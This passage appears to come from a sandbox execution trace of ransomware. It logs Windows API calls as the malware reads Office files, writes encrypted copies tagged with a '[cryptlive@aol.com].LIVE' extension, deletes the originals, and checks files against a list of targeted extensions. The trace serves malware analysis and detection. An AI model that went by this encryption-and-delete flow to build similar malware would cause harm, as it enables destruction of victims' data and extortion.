Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.341] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1309) returned 1 [0141.341] CloseHandle (hObject=0x1f8) returned 1 [0141.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 0x20 [0141.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.342] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.342] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0141.342] GetLastError () returned 0x0 [0141.342] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x51d, lpOverlapped=0x0) returned 1 [0141.617] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x520, lpOverlapped=0x0) returned 1 [0141.618] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.618] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.618] SetEndOfFile (hFile=0x1dc) returned 1 [0142.150] CloseHandle (hObject=0x1dc) returned 1 [0142.150] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.150] SetEndOfFile (hFile=0x1f8) returned 1 [0142.152] CloseHandle (hObject=0x1f8) returned 1 [0142.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\hvacduct.vrd")) returned 1 [0142.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.252] lstrlenW (lpString=".doc") returned 4 [0142.252] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0142.252] lstrlenW (lpString=".docx") returned 5 [0142.252] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0142.252] lstrlenW (lpString=".pdf") returned 4 [0142.252] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0142.252] lstrlenW (lpString=".xls") returned 4 [0142.253] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0142.253] lstrlenW (lpString=".xlsx") returned 5 [0142.253] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0142.253] lstrlenW (lpString=".ppt") returned 4 [0142.253] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0142.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.253] lstrlenW (lpString=".zip") returned 4 [0142.253] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0142.253] lstrlenW (lpString=".rar") returned 4 [0142.253] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0142.253] lstrlenW (lpString=".bz2") returned 4 [0142.253] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0142.253] lstrlenW (lpString=".7z") returned 3 [0142.253] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0142.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.253] lstrlenW (lpString=".dbf") returned 4 [0142.253] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0142.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.253] lstrlenW (lpString=".1cd") returned 4 [0142.253] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0142.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.253] lstrlenW (lpString=".jpg") returned 4 [0142.253] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0142.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.253] lstrlenW (lpString=".doc") returned 4 [0142.253] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0142.253] lstrlenW (lpString=".docx") returned 5 [0142.253] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0142.253] lstrlenW (lpString=".pdf") returned 4 [0142.253] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0142.253] lstrlenW (lpString=".xls") returned 4 [0142.253] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0142.253] lstrlenW (lpString=".xlsx") returned 5 [0142.253] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0142.253] lstrlenW (lpString=".ppt") returned 4 [0142.254] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0142.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.254] lstrlenW (lpString=".zip") returned 4 [0142.254] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0142.254] lstrlenW (lpString=".rar") returned 4 [0142.254] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0142.254] lstrlenW (lpString=".bz2") returned 4 [0142.254] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0142.254] lstrlenW (lpString=".7z") returned 3 [0142.254] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0142.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.254] lstrlenW (lpString=".dbf") returned 4 [0142.254] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0142.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.254] lstrlenW (lpString=".1cd") returned 4 [0142.254] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0142.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\HVACDUCT.VRD") returned 60 [0142.254] lstrlenW (lpString=".jpg") returned 4 [0142.254] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0142.254] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0142.254] lstrlenW (lpString="INFOPATHEDITOR_COL.HXT") returned 22 [0142.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.337] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=214) returned 1 [0142.337] CloseHandle (hObject=0x1dc) returned 1 [0142.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 0x20 [0142.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.337] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.337] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0142.368] GetLastError () returned 0x0 [0142.368] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xd6, lpOverlapped=0x0) returned 1 [0142.369] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0142.370] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.370] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x100, lpOverlapped=0x0) returned 1 [0142.370] SetEndOfFile (hFile=0x36c) returned 1 [0142.370] CloseHandle (hObject=0x36c) returned 1 [0142.370] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.370] SetEndOfFile (hFile=0x1dc) returned 1 [0142.373] CloseHandle (hObject=0x1dc) returned 1 [0142.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxt")) returned 1 [0142.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.374] lstrlenW (lpString=".doc") returned 4 [0142.374] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.374] lstrlenW (lpString=".docx") returned 5 [0142.374] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.374] lstrlenW (lpString=".pdf") returned 4 [0142.374] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.374] lstrlenW (lpString=".xls") returned 4 [0142.374] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.374] lstrlenW (lpString=".xlsx") returned 5 [0142.374] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.375] lstrlenW (lpString=".ppt") returned 4 [0142.375] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.375] lstrlenW (lpString=".zip") returned 4 [0142.375] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.375] lstrlenW (lpString=".rar") returned 4 [0142.375] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.375] lstrlenW (lpString=".bz2") returned 4 [0142.375] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.375] lstrlenW (lpString=".7z") returned 3 [0142.375] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.375] lstrlenW (lpString=".dbf") returned 4 [0142.375] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.375] lstrlenW (lpString=".1cd") returned 4 [0142.375] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.375] lstrlenW (lpString=".jpg") returned 4 [0142.375] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.375] lstrlenW (lpString=".doc") returned 4 [0142.375] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.375] lstrlenW (lpString=".docx") returned 5 [0142.375] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.375] lstrlenW (lpString=".pdf") returned 4 [0142.375] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.375] lstrlenW (lpString=".xls") returned 4 [0142.375] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.375] lstrlenW (lpString=".xlsx") returned 5 [0142.375] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.375] lstrlenW (lpString=".ppt") returned 4 [0142.375] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.375] lstrlenW (lpString=".zip") returned 4 [0142.376] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.376] lstrlenW (lpString=".rar") returned 4 [0142.376] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.376] lstrlenW (lpString=".bz2") returned 4 [0142.376] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.376] lstrlenW (lpString=".7z") returned 3 [0142.376] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.376] lstrlenW (lpString=".dbf") returned 4 [0142.376] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.376] lstrlenW (lpString=".1cd") returned 4 [0142.376] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXT") returned 70 [0142.376] lstrlenW (lpString=".jpg") returned 4 [0142.376] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.376] lstrcmpiW (lpString1=".HXT", lpString2=".LIVE") returned -1 [0142.376] lstrlenW (lpString="INFOPATH_COL.HXT") returned 16 [0142.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.377] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=208) returned 1 [0142.377] CloseHandle (hObject=0x1dc) returned 1 [0142.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt")) returned 0x20 [0142.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.377] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.377] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0142.378] GetLastError () returned 0x0 [0142.378] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xd0, lpOverlapped=0x0) returned 1 [0142.381] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0142.382] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.382] WriteFile (in: hFile=0x36c, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0142.382] SetEndOfFile (hFile=0x36c) returned 1 [0142.382] CloseHandle (hObject=0x36c) returned 1 [0142.383] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.383] SetEndOfFile (hFile=0x1dc) returned 1 [0142.385] CloseHandle (hObject=0x1dc) returned 1 [0142.385] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxt")) returned 1 [0142.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.386] lstrlenW (lpString=".doc") returned 4 [0142.386] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.386] lstrlenW (lpString=".docx") returned 5 [0142.386] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.386] lstrlenW (lpString=".pdf") returned 4 [0142.386] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.386] lstrlenW (lpString=".xls") returned 4 [0142.386] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.386] lstrlenW (lpString=".xlsx") returned 5 [0142.386] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.386] lstrlenW (lpString=".ppt") returned 4 [0142.386] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.386] lstrlenW (lpString=".zip") returned 4 [0142.386] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.386] lstrlenW (lpString=".rar") returned 4 [0142.386] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.386] lstrlenW (lpString=".bz2") returned 4 [0142.386] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.386] lstrlenW (lpString=".7z") returned 3 [0142.386] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.386] lstrlenW (lpString=".dbf") returned 4 [0142.386] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.386] lstrlenW (lpString=".1cd") returned 4 [0142.387] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.387] lstrlenW (lpString=".jpg") returned 4 [0142.387] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.387] lstrlenW (lpString=".doc") returned 4 [0142.387] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0142.387] lstrlenW (lpString=".docx") returned 5 [0142.387] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0142.387] lstrlenW (lpString=".pdf") returned 4 [0142.387] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0142.387] lstrlenW (lpString=".xls") returned 4 [0142.387] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0142.387] lstrlenW (lpString=".xlsx") returned 5 [0142.387] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0142.387] lstrlenW (lpString=".ppt") returned 4 [0142.387] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0142.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.387] lstrlenW (lpString=".zip") returned 4 [0142.387] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0142.387] lstrlenW (lpString=".rar") returned 4 [0142.387] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0142.387] lstrlenW (lpString=".bz2") returned 4 [0142.387] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0142.387] lstrlenW (lpString=".7z") returned 3 [0142.387] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0142.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.387] lstrlenW (lpString=".dbf") returned 4 [0142.387] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0142.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.387] lstrlenW (lpString=".1cd") returned 4 [0142.387] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0142.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXT") returned 64 [0142.387] lstrlenW (lpString=".jpg") returned 4 [0142.387] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0142.388] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0142.388] lstrlenW (lpString="INFOPATH_F_COL.HXK") returned 18 [0142.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.388] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=114) returned 1 [0142.388] CloseHandle (hObject=0x1dc) returned 1 [0142.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_f_col.hxk")) returned 0x20 [0142.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft 